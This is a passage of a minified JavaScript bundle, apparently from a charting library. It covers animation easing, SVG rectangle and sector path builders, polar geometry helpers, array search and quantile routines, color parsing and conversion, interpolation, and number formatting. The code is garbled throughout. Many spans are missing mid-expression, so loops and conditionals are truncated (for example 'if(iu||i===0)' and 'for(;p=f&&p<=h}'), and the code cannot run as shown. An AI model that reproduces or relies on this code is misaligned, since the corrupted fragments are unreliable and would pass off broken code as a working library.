pG(e,t,n,r,i,l){var c,u=r.reduce((y,x)=>Dt(Dt({},y),{},{[x]:{from:e[x],velocity:0,to:t[x]}}),{}),f=()=>Pc((y,x)=>x.from,u),h=()=>!Object.values(u).filter(Q0).length,p=null,m=y=>{c||(c=y);var x=y-c,S=x/n.dt;u=_D(n,u,S),i(Dt(Dt(Dt({},e),t),f())),c=y,h()||(p=l.setTimeout(m))};return()=>(p=l.setTimeout(m),()=>{var y;(y=p)===null||y===void 0||y()})}function mG(e,t,n,r,i,l,c){var u=null,f=i.reduce((m,y)=>{var x=e[y],S=t[y];return x==null||S==null?m:Dt(Dt({},m),{},{[y]:[x,S]})},{}),h,p=m=>{h||(h=m);var y=(m-h)/r,x=Pc((w,O)=>Gd(...O,n(y)),f);if(l(Dt(Dt(Dt({},e),t),x)),y<1)u=c.setTimeout(p);else{var S=Pc((w,O)=>Gd(...O,n(1)),f);l(Dt(Dt(Dt({},e),t),S))}};return()=>(u=c.setTimeout(p),()=>{var m;(m=u)===null||m===void 0||m()})}const vG=(e,t,n,r,i,l)=>{var c=uG(e,t);return n==null?()=>(i(Dt(Dt({},e),t)),()=>{}):n.isStepper===!0?pG(e,t,n,c,i,l):mG(e,t,n,r,c,i,l)};var Wd=1e-4,TD=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],ND=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),pT=(e,t)=>n=>{var r=TD(e,t);return ND(r,n)},gG=(e,t)=>n=>{var r=TD(e,t),i=[...r.map((l,c)=>l*c).slice(1),0];return ND(i,n)},yG=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(l=>parseFloat(l));return[i[0],i[1],i[2],i[3]]},bG=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=pT(e,n),l=pT(t,r),c=gG(e,n),u=h=>h>1?1:h<0?0:h,f=h=>{for(var p=h>1?1:h,m=p,y=0;y<8;++y){var x=i(m)-p,S=c(m);if(Math.abs(x-p)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,l=(c,u,f)=>{var h=-(c-u)*n,p=f*r,m=f+(h-p)*i/1e3,y=f*i/1e3+c;return Math.abs(y-u){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return mT(e);case"spring":return wG();default:if(e.split("(")[0]==="cubic-bezier")return mT(e)}return typeof e=="function"?e:null};function OG(e){var t,n=()=>null,r=!1,i=null,l=c=>{if(!r){if(Array.isArray(c)){if(!c.length)return;var u=c,[f,...h]=u;if(typeof f=="number"){i=e.setTimeout(l.bind(null,h),f);return}l(f),i=e.setTimeout(l.bind(null,h));return}typeof c=="string"&&(t=c,n(t)),typeof c=="object"&&(t=c,n(t)),typeof c=="function"&&c()}};return{stop:()=>{r=!0},start:c=>{r=!1,i&&(i(),i=null),l(c)},subscribe:c=>(n=c,()=>{n=()=>null}),getTimeoutController:()=>e}}class EG{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,l=c=>{c-r>=n?t(c):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(l))};return i=requestAnimationFrame(l),()=>{i!=null&&cancelAnimationFrame(i)}}}function AG(){return OG(new EG)}var CG=v.createContext(AG);function _G(e,t){var n=v.useContext(CG);return v.useMemo(()=>t??n(e),[e,t,n])}var TG=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),mp={isSsr:TG()},NG={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},vT={t:0},My={t:1};function vp(e){var t=pn(e,NG),{isActive:n,canBegin:r,duration:i,easing:l,begin:c,onAnimationEnd:u,onAnimationStart:f,children:h}=t,p=n==="auto"?!mp.isSsr:n,m=_G(t.animationId,t.animationManager),[y,x]=v.useState(p?vT:My),S=v.useRef(null);return v.useEffect(()=>{p||x(My)},[p]),v.useEffect(()=>{if(!p||!r)return Gc;var w=vG(vT,My,SG(l),i,x,m.getTimeoutController()),O=()=>{S.current=w()};return m.start([f,c,O,i,u]),()=>{m.stop(),S.current&&S.current(),u()}},[p,r,i,l,c,f,u,m]),h(y.t)}function gp(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=v.useRef(Ac(t)),r=v.useRef(e);return r.current!==e&&(n.current=Ac(t),r.current=e),n.current}var MG=["radius"],jG=["radius"],gT,yT,bT,xT,wT,ST,OT,ET,AT,CT;function _T(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function TT(e){for(var t=1;t{var l=yi(n),c=yi(r),u=Math.min(Math.abs(l)/2,Math.abs(c)/2),f=c>=0?1:-1,h=l>=0?1:-1,p=c>=0&&l>=0||c<0&&l<0?1:0,m;if(u>0&&i instanceof Array){for(var y=[0,0,0,0],x=0,S=4;xu?u:i[x];m=gt(gT||(gT=Pr(["M",",",""])),e,t+f*y[0]),y[0]>0&&(m+=gt(yT||(yT=Pr(["A ",",",",0,0,",",",",",""])),y[0],y[0],p,e+h*y[0],t)),m+=gt(bT||(bT=Pr(["L ",",",""])),e+n-h*y[1],t),y[1]>0&&(m+=gt(xT||(xT=Pr(["A ",",",",0,0,",`, - `,",",""])),y[1],y[1],p,e+n,t+f*y[1])),m+=gt(wT||(wT=Pr(["L ",",",""])),e+n,t+r-f*y[2]),y[2]>0&&(m+=gt(ST||(ST=Pr(["A ",",",",0,0,",`, - `,",",""])),y[2],y[2],p,e+n-h*y[2],t+r)),m+=gt(OT||(OT=Pr(["L ",",",""])),e+h*y[3],t+r),y[3]>0&&(m+=gt(ET||(ET=Pr(["A ",",",",0,0,",`, - `,",",""])),y[3],y[3],p,e,t+r-f*y[3])),m+="Z"}else if(u>0&&i===+i&&i>0){var w=Math.min(u,i);m=gt(AT||(AT=Pr(["M ",",",` - A `,",",",0,0,",",",",",` - L `,",",` - A `,",",",0,0,",",",",",` - L `,",",` - A `,",",",0,0,",",",",",` - L `,",",` - A `,",",",0,0,",",",","," Z"])),e,t+f*w,w,w,p,e+h*w,t,e+n-h*w,t,w,w,p,e+n,t+f*w,e+n,t+r-f*w,w,w,p,e+n-h*w,t+r,e+h*w,t+r,w,w,p,e,t+r-f*w)}else m=gt(CT||(CT=Pr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return m},jT={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},MD=e=>{var t=pn(e,jT),n=v.useRef(null),[r,i]=v.useState(-1);v.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:l,y:c,width:u,height:f,radius:h,className:p}=t,{animationEasing:m,animationDuration:y,animationBegin:x,isAnimationActive:S,isUpdateAnimationActive:w}=t,O=v.useRef(u),A=v.useRef(f),_=v.useRef(l),T=v.useRef(c),j=v.useMemo(()=>({x:l,y:c,width:u,height:f,radius:h}),[l,c,u,f,h]),M=gp(j,"rectangle-");if(l!==+l||c!==+c||u!==+u||f!==+f||u===0||f===0)return null;var P=Ye("recharts-rectangle",p);if(!w){var R=ur(t),{radius:I}=R,B=NT(R,MG);return v.createElement("path",Xd({},B,{x:yi(l),y:yi(c),width:yi(u),height:yi(f),radius:typeof h=="number"?h:void 0,className:P,d:MT(l,c,u,f,h)}))}var q=O.current,U=A.current,V=_.current,oe=T.current,le="0px ".concat(r===-1?1:r,"px"),ce="".concat(r,"px 0px"),L=CD(["strokeDasharray"],y,typeof m=="string"?m:jT.animationEasing);return v.createElement(vp,{animationId:M,key:M,canBegin:r>0,duration:y,easing:m,isActive:w,begin:x},F=>{var $=Rt(q,u,F),Z=Rt(U,f,F),de=Rt(V,l,F),D=Rt(oe,c,F);n.current&&(O.current=$,A.current=Z,_.current=de,T.current=D);var X;S?F>0?X={transition:L,strokeDasharray:ce}:X={strokeDasharray:le}:X={strokeDasharray:ce};var ae=ur(t),{radius:se}=ae,me=NT(ae,jG);return v.createElement("path",Xd({},me,{radius:typeof h=="number"?h:void 0,className:P,d:MT(de,D,$,Z,h),ref:n,style:TT(TT({},X),t.style)}))})};function PT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function RT(e){for(var t=1;te*180/Math.PI,Nt=(e,t,n,r)=>({x:e+Math.cos(-Zd*r)*n,y:t+Math.sin(-Zd*r)*n}),jD=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},BG=(e,t)=>{var{x:n,y:r}=e,{x:i,y:l}=t;return Math.sqrt((n-i)**2+(r-l)**2)},UG=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:l}=t,c=BG({x:n,y:r},{x:i,y:l});if(c<=0)return{radius:c,angle:0};var u=(n-i)/c,f=Math.acos(u);return r>l&&(f=2*Math.PI-f),{radius:c,angle:$G(f),angleInRadian:f}},HG=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),l=Math.min(r,i);return{startAngle:t-l*360,endAngle:n-l*360}},qG=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),l=Math.floor(r/360),c=Math.min(i,l);return e+c*360},FG=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:l}=UG({x:n,y:r},t),{innerRadius:c,outerRadius:u}=t;if(iu||i===0)return null;var{startAngle:f,endAngle:h}=HG(t),p=l,m;if(f<=h){for(;p>h;)p-=360;for(;p=f&&p<=h}else{for(;p>f;)p-=360;for(;p=h&&p<=f}return m?RT(RT({},t),{},{radius:i,angle:qG(p,t)}):null};function PD(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:l}=e,c=Nt(t,n,r,i),u=Nt(t,n,r,l);return{points:[c,u],cx:t,cy:n,radius:r,startAngle:i,endAngle:l}}var DT,kT,LT,IT,zT,$T,BT;function J0(){return J0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=tn(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},ed=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:l,isExternal:c,cornerRadius:u,cornerIsExternal:f}=e,h=u*(c?1:-1)+r,p=Math.asin(u/h)/Zd,m=f?i:i+l*p,y=Nt(t,n,h,m),x=Nt(t,n,r,m),S=f?i-l*p:i,w=Nt(t,n,h*Math.cos(p*Zd),S);return{center:y,circleTangency:x,lineTangency:w,theta:p}},RD=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:l,endAngle:c}=e,u=VG(l,c),f=l+u,h=Nt(t,n,i,l),p=Nt(t,n,i,f),m=gt(DT||(DT=Zi(["M ",",",` - A `,",",`,0, - `,",",`, - `,",",` - `])),h.x,h.y,i,i,+(Math.abs(u)>180),+(l>f),p.x,p.y);if(r>0){var y=Nt(t,n,r,l),x=Nt(t,n,r,f);m+=gt(kT||(kT=Zi(["L ",",",` - A `,",",`,0, - `,",",`, - `,","," Z"])),x.x,x.y,r,r,+(Math.abs(u)>180),+(l<=f),y.x,y.y)}else m+=gt(LT||(LT=Zi(["L ",","," Z"])),t,n);return m},KG=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:l,forceCornerRadius:c,cornerIsExternal:u,startAngle:f,endAngle:h}=e,p=tn(h-f),{circleTangency:m,lineTangency:y,theta:x}=ed({cx:t,cy:n,radius:i,angle:f,sign:p,cornerRadius:l,cornerIsExternal:u}),{circleTangency:S,lineTangency:w,theta:O}=ed({cx:t,cy:n,radius:i,angle:h,sign:-p,cornerRadius:l,cornerIsExternal:u}),A=u?Math.abs(f-h):Math.abs(f-h)-x-O;if(A<0)return c?gt(IT||(IT=Zi(["M ",",",` - a`,",",",0,0,1,",`,0 - a`,",",",0,0,1,",`,0 - `])),y.x,y.y,l,l,l*2,l,l,-l*2):RD({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:f,endAngle:h});var _=gt(zT||(zT=Zi(["M ",",",` - A`,",",",0,0,",",",",",` - A`,",",",0,",",",",",",",` - A`,",",",0,0,",",",",",` - `])),y.x,y.y,l,l,+(p<0),m.x,m.y,i,i,+(A>180),+(p<0),S.x,S.y,l,l,+(p<0),w.x,w.y);if(r>0){var{circleTangency:T,lineTangency:j,theta:M}=ed({cx:t,cy:n,radius:r,angle:f,sign:p,isExternal:!0,cornerRadius:l,cornerIsExternal:u}),{circleTangency:P,lineTangency:R,theta:I}=ed({cx:t,cy:n,radius:r,angle:h,sign:-p,isExternal:!0,cornerRadius:l,cornerIsExternal:u}),B=u?Math.abs(f-h):Math.abs(f-h)-M-I;if(B<0&&l===0)return"".concat(_,"L").concat(t,",").concat(n,"Z");_+=gt($T||($T=Zi(["L",",",` - A`,",",",0,0,",",",",",` - A`,",",",0,",",",",",",",` - A`,",",",0,0,",",",",","Z"])),R.x,R.y,l,l,+(p<0),P.x,P.y,r,r,+(B>180),+(p>0),T.x,T.y,l,l,+(p<0),j.x,j.y)}else _+=gt(BT||(BT=Zi(["L",",","Z"])),t,n);return _},YG={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},DD=e=>{var t=pn(e,YG),{cx:n,cy:r,innerRadius:i,outerRadius:l,cornerRadius:c,forceCornerRadius:u,cornerIsExternal:f,startAngle:h,endAngle:p,className:m}=t;if(l0&&Math.abs(h-p)<360?w=KG({cx:n,cy:r,innerRadius:i,outerRadius:l,cornerRadius:Math.min(S,x/2),forceCornerRadius:u,cornerIsExternal:f,startAngle:h,endAngle:p}):w=RD({cx:n,cy:r,innerRadius:i,outerRadius:l,startAngle:h,endAngle:p}),v.createElement("path",J0({},ur(t),{className:y,d:w}))};function GG(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(yR(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:l,outerRadius:c,angle:u}=t,f=Nt(r,i,l,u),h=Nt(r,i,c,u);return[{x:f.x,y:f.y},{x:h.x,y:h.y}]}return PD(t)}}var jy={},Py={},Ry={},UT;function WG(){return UT||(UT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NR();function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Ry)),Ry}var HT;function XG(){return HT||(HT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=WG();function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Py)),Py}var qT;function ZG(){return qT||(qT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=MR(),n=XG();function r(i,l,c){c&&typeof c!="number"&&t.isIterateeCall(i,l,c)&&(l=c=void 0),i=n.toFinite(i),l===void 0?(l=i,i=0):l=n.toFinite(l),c=c===void 0?it?1:e>=t?0:NaN}function eW(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function _x(e){let t,n,r;e.length!==2?(t=bi,n=(u,f)=>bi(e(u),f),r=(u,f)=>e(u)-f):(t=e===bi||e===eW?e:tW,n=e,r=e);function i(u,f,h=0,p=u.length){if(h>>1;n(u[m],f)<0?h=m+1:p=m}while(h>>1;n(u[m],f)<=0?h=m+1:p=m}while(hh&&r(u[m-1],f)>-r(u[m],f)?m-1:m}return{left:i,center:c,right:l}}function tW(){return 0}function LD(e){return e===null?NaN:+e}function*nW(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const rW=_x(bi),tu=rW.right;_x(LD).center;class VT extends Map{constructor(t,n=oW){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(KT(this,t))}has(t){return super.has(KT(this,t))}set(t,n){return super.set(aW(this,t),n)}delete(t){return super.delete(iW(this,t))}}function KT({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function aW({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function iW({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function oW(e){return e!==null&&typeof e=="object"?e.valueOf():e}function lW(e=bi){if(e===bi)return ID;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function ID(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const sW=Math.sqrt(50),cW=Math.sqrt(10),uW=Math.sqrt(2);function Qd(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),l=r/Math.pow(10,i),c=l>=sW?10:l>=cW?5:l>=uW?2:1;let u,f,h;return i<0?(h=Math.pow(10,-i)/c,u=Math.round(e*h),f=Math.round(t*h),u/ht&&--f,h=-h):(h=Math.pow(10,i)*c,u=Math.round(e/h),f=Math.round(t/h),u*ht&&--f),f0))return[];if(e===t)return[e];const r=t=i))return[];const u=l-i+1,f=new Array(u);if(r)if(c<0)for(let h=0;h=r)&&(n=r);return n}function GT(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function zD(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?ID:lW(i);r>n;){if(r-n>600){const f=r-n+1,h=t-n+1,p=Math.log(f),m=.5*Math.exp(2*p/3),y=.5*Math.sqrt(p*m*(f-m)/f)*(h-f/2<0?-1:1),x=Math.max(n,Math.floor(t-h*m/f+y)),S=Math.min(r,Math.floor(t+(f-h)*m/f+y));zD(e,t,x,S,i)}const l=e[t];let c=n,u=r;for(lc(e,n,t),i(e[r],l)>0&&lc(e,n,r);c0;)--u}i(e[n],l)===0?lc(e,n,u):(++u,lc(e,u,r)),u<=t&&(n=u+1),t<=u&&(r=u-1)}return e}function lc(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function fW(e,t,n){if(e=Float64Array.from(nW(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return GT(e);if(t>=1)return YT(e);var r,i=(r-1)*t,l=Math.floor(i),c=YT(zD(e,l).subarray(0,l+1)),u=GT(e.subarray(l+1));return c+(u-c)*(i-l)}}function dW(e,t,n=LD){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,l=Math.floor(i),c=+n(e[l],l,e),u=+n(e[l+1],l+1,e);return c+(u-c)*(i-l)}}function hW(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,l=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?td(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?td(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=vW.exec(e))?new En(t[1],t[2],t[3],1):(t=gW.exec(e))?new En(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=yW.exec(e))?td(t[1],t[2],t[3],t[4]):(t=bW.exec(e))?td(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=xW.exec(e))?tN(t[1],t[2]/100,t[3]/100,1):(t=wW.exec(e))?tN(t[1],t[2]/100,t[3]/100,t[4]):WT.hasOwnProperty(e)?QT(WT[e]):e==="transparent"?new En(NaN,NaN,NaN,0):null}function QT(e){return new En(e>>16&255,e>>8&255,e&255,1)}function td(e,t,n,r){return r<=0&&(e=t=n=NaN),new En(e,t,n,r)}function EW(e){return e instanceof nu||(e=kc(e)),e?(e=e.rgb(),new En(e.r,e.g,e.b,e.opacity)):new En}function ab(e,t,n,r){return arguments.length===1?EW(e):new En(e,t,n,r??1)}function En(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Mx(En,ab,BD(nu,{brighter(e){return e=e==null?Jd:Math.pow(Jd,e),new En(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Rc:Math.pow(Rc,e),new En(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new En(to(this.r),to(this.g),to(this.b),eh(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:JT,formatHex:JT,formatHex8:AW,formatRgb:eN,toString:eN}));function JT(){return`#${Qi(this.r)}${Qi(this.g)}${Qi(this.b)}`}function AW(){return`#${Qi(this.r)}${Qi(this.g)}${Qi(this.b)}${Qi((isNaN(this.opacity)?1:this.opacity)*255)}`}function eN(){const e=eh(this.opacity);return`${e===1?"rgb(":"rgba("}${to(this.r)}, ${to(this.g)}, ${to(this.b)}${e===1?")":`, ${e})`}`}function eh(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function to(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Qi(e){return e=to(e),(e<16?"0":"")+e.toString(16)}function tN(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new wr(e,t,n,r)}function UD(e){if(e instanceof wr)return new wr(e.h,e.s,e.l,e.opacity);if(e instanceof nu||(e=kc(e)),!e)return new wr;if(e instanceof wr)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),l=Math.max(t,n,r),c=NaN,u=l-i,f=(l+i)/2;return u?(t===l?c=(n-r)/u+(n0&&f<1?0:c,new wr(c,u,f,e.opacity)}function CW(e,t,n,r){return arguments.length===1?UD(e):new wr(e,t,n,r??1)}function wr(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Mx(wr,CW,BD(nu,{brighter(e){return e=e==null?Jd:Math.pow(Jd,e),new wr(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Rc:Math.pow(Rc,e),new wr(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new En(ky(e>=240?e-240:e+120,i,r),ky(e,i,r),ky(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new wr(nN(this.h),nd(this.s),nd(this.l),eh(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=eh(this.opacity);return`${e===1?"hsl(":"hsla("}${nN(this.h)}, ${nd(this.s)*100}%, ${nd(this.l)*100}%${e===1?")":`, ${e})`}`}}));function nN(e){return e=(e||0)%360,e<0?e+360:e}function nd(e){return Math.max(0,Math.min(1,e||0))}function ky(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const jx=e=>()=>e;function _W(e,t){return function(n){return e+n*t}}function TW(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function NW(e){return(e=+e)==1?HD:function(t,n){return n-t?TW(t,n,e):jx(isNaN(t)?n:t)}}function HD(e,t){var n=t-e;return n?_W(e,n):jx(isNaN(e)?t:e)}const rN=(function e(t){var n=NW(t);function r(i,l){var c=n((i=ab(i)).r,(l=ab(l)).r),u=n(i.g,l.g),f=n(i.b,l.b),h=HD(i.opacity,l.opacity);return function(p){return i.r=c(p),i.g=u(p),i.b=f(p),i.opacity=h(p),i+""}}return r.gamma=e,r})(1);function MW(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(l){for(i=0;in&&(l=t.slice(n,l),u[c]?u[c]+=l:u[++c]=l),(r=r[0])===(i=i[0])?u[c]?u[c]+=i:u[++c]=i:(u[++c]=null,f.push({i:c,x:th(r,i)})),n=Ly.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function UW(e,t,n){var r=e[0],i=e[1],l=t[0],c=t[1];return i2?HW:UW,f=h=null,m}function m(y){return y==null||isNaN(y=+y)?l:(f||(f=u(e.map(r),t,n)))(r(c(y)))}return m.invert=function(y){return c(i((h||(h=u(t,e.map(r),th)))(y)))},m.domain=function(y){return arguments.length?(e=Array.from(y,nh),p()):e.slice()},m.range=function(y){return arguments.length?(t=Array.from(y),p()):t.slice()},m.rangeRound=function(y){return t=Array.from(y),n=Px,p()},m.clamp=function(y){return arguments.length?(c=y?!0:un,p()):c!==un},m.interpolate=function(y){return arguments.length?(n=y,p()):n},m.unknown=function(y){return arguments.length?(l=y,m):l},function(y,x){return r=y,i=x,p()}}function Rx(){return yp()(un,un)}function qW(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function rh(e,t){if((n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"))<0)return null;var n,r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Ll(e){return e=rh(Math.abs(e)),e?e[1]:NaN}function FW(e,t){return function(n,r){for(var i=n.length,l=[],c=0,u=e[0],f=0;i>0&&u>0&&(f+u+1>r&&(u=Math.max(1,r-f)),l.push(n.substring(i-=u,i+u)),!((f+=u+1)>r));)u=e[c=(c+1)%e.length];return l.reverse().join(t)}}function VW(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var KW=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Lc(e){if(!(t=KW.exec(e)))throw new Error("invalid format: "+e);var t;return new Dx({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Lc.prototype=Dx.prototype;function Dx(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}Dx.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function YW(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var qD;function GW(e,t){var n=rh(e,t);if(!n)return e+"";var r=n[0],i=n[1],l=i-(qD=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,c=r.length;return l===c?r:l>c?r+new Array(l-c+1).join("0"):l>0?r.slice(0,l)+"."+r.slice(l):"0."+new Array(1-l).join("0")+rh(e,Math.max(0,t+l-1))[0]}function iN(e,t){var n=rh(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const oN={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:qW,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>iN(e*100,t),r:iN,s:GW,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function lN(e){return e}var sN=Array.prototype.map,cN=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function WW(e){var t=e.grouping===void 0||e.thousands===void 0?lN:FW(sN.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",l=e.numerals===void 0?lN:VW(sN.call(e.numerals,String)),c=e.percent===void 0?"%":e.percent+"",u=e.minus===void 0?"−":e.minus+"",f=e.nan===void 0?"NaN":e.nan+"";function h(m){m=Lc(m);var y=m.fill,x=m.align,S=m.sign,w=m.symbol,O=m.zero,A=m.width,_=m.comma,T=m.precision,j=m.trim,M=m.type;M==="n"?(_=!0,M="g"):oN[M]||(T===void 0&&(T=12),j=!0,M="g"),(O||y==="0"&&x==="=")&&(O=!0,y="0",x="=");var 